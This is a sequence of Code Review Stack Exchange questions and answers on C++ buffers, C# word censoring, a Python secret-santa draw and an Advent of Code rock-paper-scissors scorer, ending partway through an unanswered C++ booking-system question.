Title: Statically allocated buffer using templates
Question: I want to have some classes that would contain arrays of different sizes. I want this to be statically allocated because it is intended for an embedded system. The only good solution I can think of is using templates.
However, I want to use the same class type to access those objects.
This is my solution so far.
class Base
{
public:
Base(char* _data, int _size) :
data(_data), size(_size) {}
char* getData(void)
{
return data;
}
int getSize(void)
{
return size;
}
protected:
char* const data;
const int size;
};
template <int sz>
class Foo : public Base
{
public:
Foo() : Base(dataBuff, sizeof(dataBuff)) {}
private:
char dataBuff[sz];
};
// Here I can access every template that inherits Base class
void printFoo(Base* base)
{
std::cout << base->getData() << std::endl;
std::cout << "size is " << base->getSize() << std::endl;
}
int main(void)
{
Foo<20> foo;
char* data = foo.getData();
strcpy(data, "Hello world");
printFoo(&foo);
return 0;
}
Of course the reason for this is to have more methods in the base class for appending deleting and searching for data.
Is this something valid? This is something very basic.
Can I have a better solution?
EDIT: Fixed bug (typo).
Answer: Use std::array if possible
You can get a statically allocated buffer using std::array. Its implementation is very similar to your Foo, with the added benefit that it works like any other STL container. Here is how you would use it:
#include <array>
#include <cstring>
#include <iostream>
int main()
{
std::array<char, 20> foo;
strcpy(foo.data(), "Hello world");
std::cout << foo.data() << "\nSize is " << foo.size() << '\n';
} | {
"domain": "codereview.stackexchange",
"id": 44170,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, inheritance",
"url": null
} |
c++, inheritance
About static allocation
In your example, foo is not allocated statically, rather it is allocated on the stack. You could prepend static in front of it and/or declare that variable outside a function to ensure it is really allocated statically.
Then the question is whether this will save you any memory. Many embedded systems do allow dynamic allocation of heap memory. Sure, there is some overhead associated with it, but an advantage is that you only allocate as much as you need, whereas with an array of a static size, you might have to reserve more memory than you are going to need. What is best depends on the situation.
About type erasure
However, I want to use the same class type to access those objects.
I don't see a reason for that in your example usage. But if you do need to pass something like a pointer to Base along, consider that you don't need inheritance; you can have a separate class that stores a pointer to the array and a size, like std::span for arrays, or std::string_view for strings in particular. Here is an example using std::span that matches your example:
#include <array>
#include <cstring>
#include <iostream>
#include <span>
void printFoo(std::span<char> base)
{
std::cout << base.data() << "\nSize is " << base.size() << '\n';
}
int main()
{
std::array<char, 20> foo;
strcpy(foo.data(), "Hello world");
printFoo(foo);
}
If you cannot use std::array and/or std::span on your embedded system, I recommend you try to implement them yourself. Your code already has parts of it, you just need some name changes and to not use the span as a base class for the array anymore. | {
"domain": "codereview.stackexchange",
"id": 44170,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, inheritance",
"url": null
} |
c#, performance, strings, regex
Title: Replacing banned words from a given text
Question: The following algorithm is used to find a word from Blacklisted words in a string (called text) and replace these words with censored text, as shown in the example.
Example:
Blacklist ["bomb"]
text: "bomb bombs"
Output: "b*** bombs"
Code
public List<string> Blacklist { get; set; } = new List<string>();
public string CensorWord(string word)
{
if (Blacklist.Contains(word.ToLower()))
{
return String.Concat(word[0], new string('*', word.Length > 1 ? word.Length - 1 : 1));
}
else
{
return word;
}
}
public string CensorText(string text)
{
string result = text;
foreach(string bannedWord in Blacklist) //Can I get rid of this foreach?
{
string pattern = String.Format(@"\b{0}\b", bannedWord);
result = Regex.Replace(result, pattern, CensorWord(bannedWord));
}
return result;
}
How can I optimize my code? I don't care about edge cases. | {
"domain": "codereview.stackexchange",
"id": 44171,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, performance, strings, regex",
"url": null
} |
c#, performance, strings, regex
How can I optimize my code? I don't care about edge cases.
Answer: Avoid repeated calls to Contains() on a list. Each individual call has linear time complexity in size of the collection. This is usually a red flag that a set (HashSet) should be used instead.
This alone will reduce the time complexity of CensorWord from O(b) to O(1). And thus reducing time complexity of CensorText from O(b×(b+n)) to O(b×n). Where b is size of blacklist and n is size of input.
But in fact we could have done the same using a list like you do. Just don't call CensorWord from CensorText. You already know the word is coming from blacklist and so there is no need to check if blacklist indeed contains a word coming from blacklist. Just censor the word and trust that it is coming from blacklist.
Using a regex for a simple replace is probably overkill.
I can imagine that you might have a very long list of banned words while the input text may contain only few words. Using an algorithm with complexity that depends on size of blacklist may not be the best option. Instead, you can read the input text word by word, checking if each of them is on blacklist and censor them in place if they are. In this case, you will need the set for blacklist because you cannot avoid calling Contains() on the blacklist. Such implementation would be O(n) where n is size of input text.
Additionally, using a set gives us the benefit that blacklist automatically cannot contain duplicates. When using list you risk duplicates being present in blacklist or you would check it explicitly again with O(b) complexity for each individual word added to the blacklist. | {
"domain": "codereview.stackexchange",
"id": 44171,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, performance, strings, regex",
"url": null
} |
python, random
Title: Random Name Selection from a "Hat" in Python
Question: Background/context: This program randomly selects predefined items ("Names" as strings) according to 2 rules:
#Rule 1: Each name/item in the list can only be selected once.
#Rule 2: Single item exclusion cases for all random selections such that a person cannot select themselves.
This program serves its intended purpose, but I'm seeking ways to improve the "logic" in the program such that the Exception case cannot occur in the first place and/or ways to reduce the lines of code.
Code example below:
#Rule 1: Each name/item in the list can only be selected once.
#Rule 2: Single item exclusion cases for all random selections such that a person cannot select themselves.
import random
#Function that loops through a list, randomly selecting 1 name/item from the list until the list is empty.
def choice_excluding(lst, exception):
if len(lst) > 0:
possible_choices = [v for v in lst if v != exception]
return random.choice(possible_choices)
#Exception handling function for line 60, there is a case where "Morgan" can select themself against the rules of the program.
def choice_debug(lstdebug):
return random.choice(lstdebug)
#Primary list
lst = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle", "Morgan"]
#List for exception handling
lstdebug = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle"]
#String variable for exception handling
alternate_choice = "Morgan"
#Print random names from the list until it's empty while excluding a specific item/name each time and removing the selected item/name from the list each time so it can't be selected again.
choice1 = choice_excluding(lst, "Hunter")
print("Hunter your assingment is " + choice1)
lst.remove(choice1)
choice2 = choice_excluding(lst, "Alena")
print("Alena your assingment is " + choice2)
lst.remove(choice2) | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
choice3 = choice_excluding(lst, "Derrell")
print("Derrell your assingment is " + choice3)
lst.remove(choice3)
choice4 = choice_excluding(lst, "Christian")
print("Christian your assingment is " + choice4)
lst.remove(choice4)
choice5 = choice_excluding(lst, "Grant")
print("Grant your assingment is " + choice5)
lst.remove(choice5)
choice6 = choice_excluding(lst, "Audrey")
print("Audrey your assingment is " + choice6)
lst.remove(choice6)
choice7 = choice_excluding(lst, "Elyas")
print("Elyas your assingment is " + choice7)
lst.remove(choice7)
choice8 = choice_excluding(lst, "Loelle")
print("Loelle your assingment is " + choice8)
lst.remove(choice8)
#Exception handling, programatically swapping choice9 in the case where Morgan can select themself by creating a new variable choice10. Morgan's new choice is selected from all other items/names in a new random pick then assign the name that had Morgan's choice to have "Morgan" instead.
try:
choice9 = choice_excluding(lst, "Morgan")
print("Morgan your assingment is " + choice9)
except Exception as e:
print("Oops!", e.__class__, "occurred.")
choice10 = choice_debug(lstdebug)
print("Morgan your assingment is " + choice10)
if choice1 == choice10:
print("Hunter your new assingment is " + alternate_choice)
if choice2 == choice10:
print("Alena your new assingment is " + alternate_choice)
if choice3 == choice10:
print("Derrell your new assingment is " + alternate_choice)
if choice4 == choice10:
print("Christian your new assingment is " + alternate_choice)
if choice5 == choice10:
print("Grant your new assingment is " + alternate_choice)
if choice6 == choice10:
print("Audrey your new assingment is " + alternate_choice)
if choice7 == choice10:
print("Elyas your new assingment is " + alternate_choice)
if choice8 == choice10:
print("Loelle your new assingment is " + alternate_choice) | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
Answer: If I'm understanding your program correctly, the purpose is for each name to be assigned to a different name, like in a Secret Santa party.
The first thing to notice is that you have variables like choice1, choice2, etc. These variable names mean that you actually want a list or some other ordered container. Second, you have a lot of repeated code, which means what you want is a loop. So, using these two structures, the first part of the code can be written like this (ignoring the error case for a moment):
lst = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle", "Morgan"]
working_copy = lst.copy()
choices = []
for person in lst:
choices.append(choice_excluding(working_copy, person))
working_copy.remove(choices[-1])
for person, assignment in zip(lst, choices):
print(f"{person}, your assignment is {assignment}.") | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
By using loops and lists, we can more clearly express what we are doing. Plus, we are no longer have to rewrite the code if the name list changes size. By working on a separate copy of the list, we can modify it and still have access to the original list to match up the pairings. The other useful function here is zip takes multiple lists and returns tuples of corresponding items so you can iterate through both lists at the same time.
Now, what about the error case? The error occurs when the last remaining name in the list is the same as the name to be assigned, causing the function choice_excluding() to fail. We can fix by swapping this last name with an earlier name.
lst = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle", "Morgan"]
working_copy = lst.copy()
choices = []
for person in lst:
try:
choices.append(choice_excluding(working_copy, person))
working_copy.remove(choices[-1])
except Exception:
swap_index = random.randrange(len(choices))
swapped_person = choices[swap_index]
choices.append(swapped_person)
choices[swap_index] = person
for person, assignment in zip(lst, choices):
print(f"{person}, your assignment is {assignment}.") | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
The error-fixing part begins with except Exception:. The first two lines pick a random name in choices to swap with the current name. Let's say the last name in lst and working_copy is Morgan. Since Morgan is the only name to choose from, choices_excluding() raises an exception. Swapping this name with another in choices is a fix because Morgan is not in choices nor in the part of lst that matches with choices. The function random.randrange(n) picks a number from 0 to n-1, in other words, an index in a list of length n. So, the call to random.randrange(len(choices)) picks a random integer from 0 to len(choices) - 1, in other words, an index in choices. If the length of choices is 10, this would pick a random number from 0 to 9. The next two lines replaces the swapped_person with Morgan and puts the swapped_person at the end.
With this algorithm, you can get rid of your debugging lists and functions, as well as the "new assignment" output.
Now, let's look at the choice_excluding() function. This function has to build a new list on every call. For a list of 9 people, this doesn't matter. But, if the list has hundreds or thousands of names, it will take a very long time for the program to run. A better way is to keep picking names from the list until a name is picked that does not match the exception.
def choice_excluding(lst, exception):
while True:
choice = random.choice(lst)
if choice != exception:
return choice
But, what about the error case? This can only happen if there is one name in the list and it matches the exception.
def choice_excluding(lst, exception):
if len(lst) == 1 and lst[0] == exception:
raise Exception(f"No valid choice from {lst} excluding {exception}")
# Alternate error check: if lst == [exception]:
while True:
choice = random.choice(lst)
if choice != exception:
return choice
Putting everything in one place:
import random | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
Putting everything in one place:
import random
def choice_excluding(lst, exception):
if len(lst) == 1 and lst[0] == exception:
raise Exception(f"No valid choice from {lst} excluding {exception}")
while True:
choice = random.choice(lst)
if choice != exception:
return choice
lst = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle", "Morgan"]
working_copy = lst.copy()
choices = []
for person in lst:
try:
choices.append(choice_excluding(working_copy, person))
working_copy.remove(choices[-1])
except Exception:
swap_index = random.randrange(len(choices))
swapped_person = choices[swap_index]
choices.append(swapped_person)
choices[swap_index] = person
for person, assignment in zip(lst, choices):
print(f"{person}, your assignment is {assignment}.")
There is a way to implement a slightly restricted version of this algorithm without trial-and-error. The restriction is that it will be impossible to end up with assignments like Hunter -> Alena and Alena -> Hunter. The assignments will form a single loop like (for example):
Grant, your assignment is Elyas.
Elyas, your assignment is Morgan.
Morgan, your assignment is Derrell.
Derrell, your assignment is Loelle.
Loelle, your assignment is Christian.
Christian, your assignment is Audrey.
Audrey, your assignment is Alena.
Alena, your assignment is Hunter.
Hunter, your assignment is Grant.
To form a list like this, use the following steps:
Shuffle the list.
Copy the shuffled list.
On the copy, move the first name to the end.
Match up the two lists in order.
In code, that would look like this:
import random
lst = ["Hunter", "Alena", "Derrell", "Christian", "Grant", "Audrey", "Elyas", "Loelle", "Morgan"]
random.shuffle(lst)
choices = lst.copy()
choices = choices[1:] + choices[0:1]
for person, assignment in zip(lst, choices):
print(f"{person}, your assignment is {assignment}.") | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, random
It is a very common pattern for a function or operation to exclude the value representing the end of a sequence. For example:
s = [13, 24, 35, 46, 57, 68]
print(s[2:5]) # [35, 46, 57]
The colon operator in 2:5 represents a range of indices from 2 to 5 but not including 5, that is, the indices 2, 3, and 4. So, the call to choices[0:1] creates a new list with only the first item (index 0). This is different than choices[0] because the expression would return just the first item, not a list containing one item. In the original lst, lst[0] == "Hunter", lst[0:1] == ["Hunter"]. The other range choices[1:] means the items in choices from index 1 to the end (or, all but the first).
There's no guess-and-check and no functions to write. | {
"domain": "codereview.stackexchange",
"id": 44172,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, random",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
Title: Calculate score of rock-paper-scissors (Advent of Code 2022: Day 2)
Question: Advent of code, Day 2.
Here is my code.
Less verbose version of the question follows.
import itertools
import pathlib
from typing import TypeAlias
Shape: TypeAlias = str
WinStatus: TypeAlias = str
RPS = Rock, Paper, Scissors = "RPS"
WLD = Win, Lose, Draw = "WLD"
shape = dict(zip("ABCXYZ", (*RPS, *RPS), strict=True))
shape_scoring = dict(zip(RPS, (1, 2, 3), strict=True))
win_scoring = dict(zip(WLD, (6, 0, 3), strict=True))
FirstWinOverTheSecond = ((Rock, Scissors), (Scissors, Paper), (Paper, Rock))
# For second part
strategies = dict(zip("ZXY", WLD, strict=True))
worst_choice_against = dict(FirstWinOverTheSecond)
best_choice_against = {v: k for k, v in worst_choice_against.items()}
def round_outcome(me: Shape, opponent: Shape) -> WinStatus:
if me == opponent:
return Draw
elif (me, opponent) in FirstWinOverTheSecond:
return Win
elif (opponent, me) in FirstWinOverTheSecond:
return Lose
assert False, "There should be no round like ({me=}, {opponent=})"
def get_score(me: Shape, opponent: Shape) -> int:
game_score = win_scoring[round_outcome(me, opponent)]
shape_score = shape_scoring[me]
return game_score + shape_score
def tournament(f: pathlib.Path):
rounds = (line.split() for line in f.read_text().splitlines())
shape_choices = ((shape[me], shape[op]) for op, me in rounds)
return sum(get_score(*round_) for round_ in shape_choices)
def choose_shape(opponent: Shape, strategy: WinStatus) -> Shape:
if strategy == Draw:
return opponent
elif strategy == Win:
return best_choice_against[opponent]
elif strategy == Lose:
return worst_choice_against[opponent]
assert False, "There should be no round like ({opponent=}, {strategy=})" | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
assert False, "There should be no round like ({opponent=}, {strategy=})"
def tournament_2(f: pathlib.Path):
rounds = (line.split() for line in f.read_text().splitlines())
secrets = ((shape[op], strategies[strategy]) for op, strategy in rounds)
choices = ((choose_shape(op, strategy), op) for op, strategy in secrets)
return sum(itertools.starmap(get_score, choices))
Input
A file that contains 2 letters in each line:
C X
C Y
C X
B X
B Z
A Z
[...]
Output:
Total score of player 1 when playing according to the rules.
Rules
Part 1
Player 1 playing guide:
X means Rock
Y means Paper
Z means Scissors
Player 2 playing guide:
A is for Rock
B is for Paper
C is for Scissors
Part 2
Player 1 playing guide:
X means "You should lose"
Y means "You should make the game ending as a draw"
Z means "You should win"
Player 2 playing guide:
A is for Rock
B is for Paper
C is for Scissors
Scoring system
In each round:
0 for losing, 3 for draw, 6 for winning.
Additional 1 for choosing rock, 2 for choosing paper, 3 for choosing scissors.
Answer: Disclaimer
I do not have the relevant Python version to test your code, in particular for the typing. Hence, I will review a modified version of your code without typing and will provide code without type hints.
Your code looks nice and I do not have much to add so my comments will be mostly details.
Tests and input/output
The functions tournament and tournament_2 perform many actions including:
reading the input
preprocessing the input
computing a result based on this input
It may be a good idea to separate the concerns. This is particularly relevant for Advent of Code problems because:
the input will be the same for 2 different problems to be solved. Hence, performing steps 1 and 2 just once make sense
you are usually provided some test inputs that will probably not be written in a dedicated file. | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
Hence, one could easily write a function to preprocess the input:
# A guide is a list of pair of strings
def get_guide_from_str(string):
return [tuple(l.strip().split(" ")) for l in string.splitlines()]
use it to write a function performing the file reading operation:
def get_guide_from_file(file_path):
with open(file_path) as f:
return get_guide_from_str(f.read())
and use them, on both:
the test input provided in some kind of unit-test
the actual input
# Unit-test (written poorly with assert - use a proper unit-test framework)
guide = get_guide_from_str("""A Y
B X
C Z""")
assert tournament(guide) == 15
assert tournament_2(guide) == 12
# Actual problem
guide = get_guide_from_file("year2022_day2_input.txt")
print(tournament(guide))
print(tournament_2(guide))
At this stage, the main functions are defined as such:
def tournament(guide):
shape_choices = ((shape[me], shape[op]) for op, me in guide)
return sum(get_score(*round_) for round_ in shape_choices)
def tournament_2(guide):
secrets = ((shape[op], strategies[strategy]) for op, strategy in guide)
choices = ((choose_shape(op, strategy), op) for op, strategy in secrets)
return sum(itertools.starmap(get_score, choices))
Data structures
You are using nice data structures containing most of the information from the original problem. However, a few things could probably be improved:
we test if elements are in FirstWinOverTheSecond. The current implementation relies on iterating over the (few) elements. We could use a more relevant data structure such as a set which perform the "contains" operation more quickly: FirstWinOverTheSecond = set(((Rock, Scissors), (Scissors, Paper), (Paper, Rock))).
maybe we could define a data structure which would contain even more information. | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
maybe we could define a data structure which would contain even more information.
# `game_status[(a, b)]` is the result of the game from `b`'s point of view (it would probably make sense to write this the other way around but it's too late now)
game_status = dict()
for a, b in itertools.product(RPS, repeat=2):
result = None # Not needed
if a == b:
result = Draw
elif (a, b) in FirstWinOverTheSecond:
result = Lose
else:
assert (b, a) in FirstWinOverTheSecond
result = Win
game_status[(a, b)] = result
used with:
def get_score(me, opponent) -> int:
game_score = win_scoring[game_status[opponent, me]]
shape_score = shape_scoring[me]
return game_score + shape_score
This initialisation of game_status could be shorten significantly:
game_status = dict()
for a in RPS:
game_status[(a, a)] = Draw
for a, b in FirstWinOverTheSecond:
game_status[(a, b)] = Lose
game_status[(b, a)] = Win
Then, we could (we do not have to but we could) get rid of FirstWinOverTheSecond and write the whole logic in terms of game_status:
game_status = dict()
for a in RPS:
game_status[(a, a)] = Draw
for a, b in ((Rock, Scissors), (Scissors, Paper), (Paper, Rock)):
game_status[(a, b)] = Lose
game_status[(b, a)] = Win
# For second part
strategies = dict(zip("ZXY", WLD))
worst_choice_against = dict(k for k, v in game_status.items() if v == Lose)
best_choice_against = dict(k for k, v in game_status.items() if v == Win)
Ultimately, it appears that the second part could probably be reduced similarly to a request in a well-defined dictionnary:
part 1 is about getting a game status based on 2 player inputs
part 2 is about getting a player input based on a game status and a player input
We can write this as such:
# `shape_to_play[(a, res)]` is the action to perform against `a` to get result `res`
shape_to_play = {(a, res): b for (a, b), res in game_status.items()} | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
def tournament_2(guide):
strategies = dict(zip("ZXY", WLD))
secrets = ((shape[op], strategies[strategy]) for op, strategy in guide)
choices = ((shape_to_play[(op, strategy)], op) for op, strategy in secrets)
return sum(itertools.starmap(get_score, choices))
Cosmetic details
I find it slightly more pleasing to define "WLD" in a different order to have a more natural progression:
LDW = Lose, Draw, Win = "LDW"
...
win_scoring = dict(zip(LDW, (0, 3, 6)))
...
strategies = dict(zip("XYZ", LDW))
Computing what what is already known
Relying on get_score which computes the game status based on hand shapes for the step 2 is a bit akward. For a reminder: we start from a game output, compute what to play from it and then compute the game output from what we play.
We could write smaller dedicated functions for step 1 and 2 and take this chance to simplify a bit the logic:
def score1(opponent, me) -> int:
return win_scoring[game_status[opponent, me]] + shape_scoring[me]
def tournament(guide):
return sum(score1(shape[op], shape[me]) for op, me in guide)
def score2(opponent, outcome):
return win_scoring[outcome] + shape_scoring[shape_to_play[opponent, outcome]]
def tournament_2(guide):
outcomes = dict(zip("XYZ", LDW))
return sum(score2(shape[op], outcomes[out]) for op, out in guide)
Final code
At the end, we get the following code. I'm impressed by how short it is. The dictionnary are defined in a very concise way and do all the heavy lifting.
import itertools
import pathlib
Shape: str
WinStatus: str
RPS = Rock, Paper, Scissors = "RPS"
LDW = Lose, Draw, Win = "LDW"
shape = dict(zip("ABCXYZ", (*RPS, *RPS)))
shape_scoring = dict(zip(RPS, (1, 2, 3)))
win_scoring = dict(zip(LDW, (0, 3, 6))) | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
python, python-3.x, programming-challenge, rock-paper-scissors
# `game_status[(a, b)]` is the result of the game from `b`'s point of view (it would probably make sense to write this the other way around but it's too late now)
game_status = dict()
for a in RPS:
game_status[(a, a)] = Draw
for a, b in ((Rock, Scissors), (Scissors, Paper), (Paper, Rock)):
game_status[(a, b)] = Lose
game_status[(b, a)] = Win
# `shape_to_play[(a, res)]` is the action to perform against `a` to get result `res`
shape_to_play = {(a, res): b for (a, b), res in game_status.items()}
def score1(opponent, me) -> int:
return win_scoring[game_status[opponent, me]] + shape_scoring[me]
def tournament(guide):
return sum(score1(shape[op], shape[me]) for op, me in guide)
def score2(opponent, outcome):
return win_scoring[outcome] + shape_scoring[shape_to_play[opponent, outcome]]
def tournament_2(guide):
outcomes = dict(zip("XYZ", LDW))
return sum(score2(shape[op], outcomes[out]) for op, out in guide)
# A guide is a list of pair of strings
def get_guide_from_str(string):
return [tuple(l.strip().split(" ")) for l in string.splitlines()]
def get_guide_from_file(file_path):
with open(file_path) as f:
return get_guide_from_str(f.read())
# Unit-test (written poorly with assert - use a proper unit-test framework)
guide = get_guide_from_str("""A Y
B X
C Z""")
assert tournament(guide) == 15
assert tournament_2(guide) == 12
# Actual problem
guide = get_guide_from_file("year2022_day2_input.txt")
print(tournament(guide))
print(tournament_2(guide))
And now for something different
Instead of relying on data structures to handle most of the logic, another solution can be to rely on modular arithmetic. Indeed, assigning consecutive values to Rock, Paper and Scissors, one can get quickly the result for the game (a, b) by computing (a - b) % 3 which gives a result being draw (0), loss (1) or win (2). Similarly, from a given player input and result, one can compute the other player input. | {
"domain": "codereview.stackexchange",
"id": 44173,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, programming-challenge, rock-paper-scissors",
"url": null
} |
c++
Title: Creating a bookingsystem in in c++
Question: I have these six files:
Reservation.hpp;
#ifndef RESERVATION_HPP
#define RESERVATION_HPP
#include <string>
#include "Date.hpp"
class Reservation
{
std::string referenceID;
Date startDate;
Date endDate;
public:
Reservation(const std::string& referenceID, const Date& start, const Date& end);
Reservation(const Reservation& other);
Reservation& operator=(const Reservation& other);
bool operator==(const Reservation& other) const;
bool operator!=(const Reservation& other) const;
bool Overlaps(const Reservation& other) const;
const std::string& GetReferenceID() const;
const Date& GetStartDate() const;
const Date& GetEndDate() const;
};
#endif // RESERVATION_HPP
Reservation.cpp;
#include "Reservation.hpp"
#include <stdexcept>
Reservation::Reservation(const std::string& referenceID, const Date& start, const Date& end)
{
this->referenceID = referenceID;
this->startDate = start;
this->endDate = end;
if (startDate > endDate)
{
throw std::invalid_argument("Invalidate date values");
}
}
Reservation::Reservation(const Reservation& other)
{
this->referenceID = other.referenceID;
this->startDate = other.startDate;
this->endDate = other.endDate;
}
Reservation& Reservation::operator=(const Reservation& other)
{
if (this != &other)
{
this->endDate = other.endDate;
this->startDate = other.startDate;
this->referenceID = other.referenceID;
}
return *this;
}
bool Reservation::operator==(const Reservation& other) const
{
if (this->referenceID == other.referenceID && this->endDate == other.endDate && this->startDate == other.startDate)
{
return true;
}
return false;
} | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
bool Reservation::operator!=(const Reservation& other) const
{
if (this->referenceID != other.referenceID || this->endDate != other.endDate || this->startDate != other.startDate)
{
return false;
}
return true;
}
bool Reservation::Overlaps(const Reservation& other) const
{
if (startDate>endDate)
{
return true;
}
if (this->referenceID == other.referenceID)
{
if (startDate >= endDate)
{
return true;
}
}
return false;
}
const std::string& Reservation::GetReferenceID() const
{
return this->referenceID;
}
const Date& Reservation::GetStartDate() const
{
return this->startDate;
}
const Date& Reservation::GetEndDate() const
{
return this->endDate;
}
BookingSystem.hpp
#ifndef BOOKING_SYSTEM_HPP
#define BOOKING_SYSTEM_HPP
#include "Reservation.hpp"
class BookingSystem
{
int capacity;
int reservationCount;
Reservation** reservations;
void Expand();
public:
BookingSystem(int capacity);
~BookingSystem();
BookingSystem(const BookingSystem& other);
BookingSystem& operator=(const BookingSystem& other);
bool Reserve(const std::string& referenceID, const Date& start, const Date& end);
int GetReservationCount() const;
int GetReservationCapacity() const;
Reservation** GetReservations() const;
};
#endif // BOOKING_SYSTEM_HPP
BookingSystem.cpp
#include "BookingSystem.hpp"
void BookingSystem::Expand()
{
this->capacity += 10;
Reservation** temp = new Reservation * [this-> capacity] {nullptr};
for (int i = 0; i < reservationCount; i++)
{
temp[i] = this->reservations[i];
}
delete[]this->reservations;
this->reservations = temp;
}
BookingSystem::BookingSystem(int capacity)
:reservationCount(0), capacity(capacity)
{
this->reservations = new Reservation * [this->capacity] {nullptr};
} | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
BookingSystem::~BookingSystem()
{
for (int i = 0; i < this->reservationCount; i++)
{
delete this->reservations;
}
delete[]this->reservations;
}
BookingSystem::BookingSystem(const BookingSystem& other)
{
this->capacity = other.capacity;
this->reservationCount = other.reservationCount;
this->reservations = new Reservation * [other.capacity] {nullptr };
for (int i = 0; i < reservationCount; i++)
{
this->reservations[i] = new Reservation(*other.reservations[i]);
}
}
BookingSystem& BookingSystem::operator=(const BookingSystem& other)
{
if (this != &other)
{
for (int i = 0; i < this->reservationCount; i++)
{
delete this->reservations[i];
}
delete[]this->reservations;
this->capacity = other.capacity;
this->reservationCount = other.reservationCount;
this->reservations = new Reservation * [other.reservationCount] {nullptr };
for (int i = 0; i < reservationCount; i++)
{
this->reservations[i] = new Reservation(*other.reservations[i]);
}
}
return *this;
}
bool BookingSystem::Reserve(const std::string& referenceID, const Date& start, const Date& end)
{
if (this->reservationCount == this->capacity)
{
Expand();
}
Reservation temp(referenceID, start, end);
for (int i = 0; i < reservationCount; i++)
{
if (this->reservations[i]->Overlaps(temp))
{
this->reservations[this->reservationCount] = new Reservation(referenceID, start, end);
}
}
reservationCount++;
return false;
}
int BookingSystem::GetReservationCount() const
{
return this->reservationCount;
}
int BookingSystem::GetReservationCapacity() const
{
return this->capacity;
}
Reservation** BookingSystem::GetReservations() const
{
return nullptr;
}
Date.hpp
